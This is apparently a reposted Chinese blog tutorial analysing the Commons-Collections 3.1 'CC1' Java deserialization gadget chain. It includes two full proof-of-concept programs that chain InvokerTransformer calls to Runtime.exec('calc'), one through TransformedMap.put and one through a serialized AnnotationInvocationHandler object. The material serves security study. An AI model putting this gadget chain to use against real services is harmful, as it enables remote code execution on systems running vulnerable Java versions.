条件限制:
JDK版本:jdk1.8以前(8u71之后已修复不可利用) CC版本:Commons-Collections 3.1-3.2.1
环境搭建:
commons-collections commons-collections3.1
首先我们分析一下类函数,也就是cc1链条中所用到的函数
Transformer
源码:
package org.apache.commons.collections; public interface Transformer { Object transform(Object var1); }
可以看到Transformer接口只有一个transform方法,之后所有继承该接口的类都需要实现这个方法。
官方文档的意思:
大致意思就是会将传入的object进行转换,然后返回转换后的object。还是有点抽象,不过没关系,先放着接下来再根据继承该接口的类进行具体分析。
ConstantTransformer
部分源码:
public ConstantTransformer(Object constantToReturn) { this.iConstant = constantToReturn; } public Object transform(Object input) { return this.iConstant; }
ConstantTransformer类当中的transform方法就是将初始化时传入的对象返回
InvokerTransformer
部分源码:
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) { this.iMethodName = methodName; this.iParamTypes = paramTypes; this.iArgs = args; } public Object transform(Object input) { if (input == null) { return null; } else { try { Class cls = input.getClass(); Method method = cls.getMethod(this.iMethodName, this.iParamTypes); return method.invoke(input, this.iArgs); } catch (NoSuchMethodException var5) { throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist"); } catch (IllegalAccessException var6) { throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed"); } catch (InvocationTargetException var7) { throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var7); } } }
InvokerTransformer类的构造函数传入三个参数——方法名,参数类型数组,参数数组。在transform方法中通过反射机制调用传入某个类的方法,而调用的方法及其所需要的参数都在构造函数中进行了赋值,最终返回该方法的执行结果。
ChainedTransformer
部分源码:
public ChainedTransformer(Transformer[] transformers) { this.iTransformers = transformers; } public Object transform(Object object) { for(int i = 0; i < this.iTransformers.length; ++i) { object = this.iTransformers[i].transform(object); } return object; }
ChainedTransformer类利用之前构造方法传入的transformers数组通过循环的方式调用每个元素的trandsform方法,将得到的结果传入下一次循环的transform方法中。
那么这样我们可以利用ChainedTransformer将ConstantTransformer和InvokerTransformer的transform方法串起来。通过ConstantTransformer返回某个类,交给InvokerTransformer去调用类中的某个方法。
TrandsformedMap
部分源码:
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) { return new TransformedMap(map, keyTransformer, valueTransformer); } protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) { super(map); this.keyTransformer = keyTransformer; this.valueTransformer = valueTransformer; } protected Object transformKey(Object object) { return this.keyTransformer == null ? object : this.keyTransformer.transform(object); } protected Object transformValue(Object object) { return this.valueTransformer == null ? object : this.valueTransformer.transform(object); } public Object put(Object key, Object value) { key = this.transformKey(key); value = this.transformValue(value); return this.getMap().put(key, value); }
TransformedMap的decorate方法根据传入的参数重新实例化一个TransformedMap对象,再看put方法的源码,不管是key还是value都会间接调用transform方法,而这里的this.valueTransformer也就是transformerChain,从而启动整个链子。
本地test1
package org.example.cc; import org.apache.commons.collections.*; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap; import java.util.HashMap; import java.util.Map; public class Cc1Demo1 { public static void main(String[] args) { //构建一个transformer的数组 Transformer[] transformers = new Transformer[] { //传入Runtime类 new ConstantTransformer(Runtime.class), //调用getMethod方法 new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }), //调用invoke方法 new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }), //调用exec方法 new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"}) }; //将transformers数组传入ChainedTransformer类 Transformer transformerChain = new ChainedTransformer(transformers); //创建Map并绑定transformerChain Map innerMap = new HashMap(); //包装innerMap Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain); //触发回调 outerMap.put("test1", "xxxx"); } }
代码分析:
片段1:
Transformer transformerChain = new ChainedTransformer(transformers);
将transformers数组传入ChainedTransformer类,当调用ChainedTransformer的transformer方法时,会对transformers数组进行一系列回调:
将ConstantTransformer返回的Runtime.class传给第一个InvokerTransformer; 将第一个InvokerTransformer返回的(Runtime.class).getMethod("getRuntime",null)传给第二个InvokerTransformer; 将第二个InvokerTransformer返回的((Runtime.class).getMethod("getRuntime",null)).invoke(null,null)传给第三个InvokerTransformer; (((Runtime.class).getMethod("getRuntime",null)).invoke(null,null)).exec("calc")是第三个InvokerTransformer的返回值。
上面对ChainedTransformer类的分析也说了,ChainedTransformer类利用之前构造方法传入的transformers数组通过循环的方式调用每个元素的trandsform方法,将得到的结果传入下一次循环的transform方法中。
片段2:
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain); outerMap.put("test1", "xxxx");
TransformedMap的decorate方法根据传入的参数重新实例化一个TransformedMap对象
触发是在对put的时候的transformValue方法
跟进代码:
这里valueTransformer.transform(object);回去执行重写后的transform方法,这里调用了valueTransformer的transform方法,而valueTransformer就是我们传入的transformerChain,transformerChain又是ChainedTransformer的实例化对象,也就是成功调用了ChainedTransformer的transformer方法,从而实现 ChainedTransformer类 对transformers数组进行回调
链条简析:
Transformer是一个接口,ConstantTransformer和InvokerTransformer都是Transformer接口的实现类;
这里并不是new了一个接口,而是new了一个Transformer类型的数组,里面存储的是 Transformer的实现类对象。
然后使用ChainedTransformer对transformers 数组进行一系列回调;
将创建的innerMap和transformerChain传入TransformedMap.decorate;
最后要向Map中放入一个新元素,从而执行命令。
目前的分析只是一个demo代码,手动添加了put *** 作,但是在反序列化的 *** 作中我们需要找到一个类,直接或者间接的方式去调用类似于put的 *** 作。
本地test2
上次写到这里就结束了,今天分析完之后,来回补这个坑,反序列化的时候我们需要找到类来利用,达到put的效果,才能进行恶意利用。而sun.reflect.annotation.AnnotationInvocationHandler这个类恰巧能满足我们,下面给处poc,我们一起分析
package org.example; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap; import java.io.*; import java.lang.annotation.Retention; import java.lang.reflect.Constructor; import java.lang.reflect.Method; import java.util.HashMap; import java.util.Map; public class cc1Demo { public static void main(String[] args) throws Exception { Transformer[] transformers = new Transformer[]{ // 包装对象 new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime",null,}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null,null,}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}), }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); Map map = new HashMap(); map.put("value", "xxxx"); Map decorate = TransformedMap.decorate(map, null, chainedTransformer); // 'sun.reflect.annotation.AnnotationInvocationHandler' 在 'sun.reflect.annotation' 中不为 public。 // 我们不能直接创建对象,需要利用反射获得对象 Class> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor> declaredConstructor = aClass.getDeclaredConstructor(Class.class, Map.class); declaredConstructor.setAccessible(true); Object o = declaredConstructor.newInstance(Retention.class, decorate); // 序列化对象 ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream(new File("cc1.ser"))); objectOutputStream.writeObject(o); objectOutputStream.close(); // 反序列化对象 ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(new File("cc1.ser"))); objectInputStream.readObject(); objectInputStream.close(); } }
代码分为两部分,第一部分我们上面已经一起看过函数和重写后的Transformer函数,下面部分代码利用了反射原理,反射获取类库,反射获取私用构造方法,反射实例化,然后去序列化和反序列化。在反序列化的时候,AnnotationInvocationHandler类中重写了readObject函数,在它的readObject方法中调用了setValue方法,也就是说反序列化时会调用setValue方法,进而实现上面几部分代码。
我们debug调试readObject,在361行断点调试
进入setValue方法中,发现是AbstractInputCheckedMapDecorator类的setValue方法,而AbstractInputCheckedMapDecorator类呢,是TransformedMap的父类,跟进setValue方法
到了TransformedMap的checkSetValue方法,传入的对象是刚才的map,而这里的valueTransformer即 chainedTransformer,就达到了第一个案例分析的反射执行的效果。
还有几个小问题,比如反射实例化的时候为什么用Retention这个类,为什么传给 ConstantTransformer 的是 Runtime.class,而不直接传入 Runtime.getRuntime(),文章先写到这,再有时间再回来补坑。
question1
反射实例化的时候为什么用Retention这个类
AnnotationInvocationHandler是 JDK 内部类,不能直接实例化; AnnotationInvocationHandler的readObject需要使得var7 != null var7不为null需要满足以下两个条件: 第一个参数必须是Annotation的⼦类,且其中必须含有⾄少⼀个⽅法,假设方法名为X 被TransformedMap.decorate修饰的Map中必须有⼀个键名为X的元素
question2
为什么传给 ConstantTransformer 的是 Runtime.class,而不直接传入 Runtime.getRuntime()
answer:这是因为在 Java 反序列化中,需要反序列化的对象必须实现java.io.Serializable接口,而Runtime类并没有实现该接口,所以这里得用反射的方式获取Runtime对象,而 POC 当中的 Runtime.class是java.lang.Class对象,该类实现了java.io.Serializable接口
这个POC只有在Java 8u71以前的版本中才能执行成功,Java 8u71以后的版本由于sun.reflect.annotation.AnnotationInvocationHandler发⽣了变化导致不再可⽤;
在ysoserial的代码中,没有⽤到上面POC的TransformedMap,而是改用了了LazyMap。
参考: https://blog.csdn.net/qq_41918771/article/details/115242949?spm=1001.2014.3001.5501 https://xz.aliyun.com/t/10357
欢迎分享,转载请注明来源:内存溢出
评论列表(0条)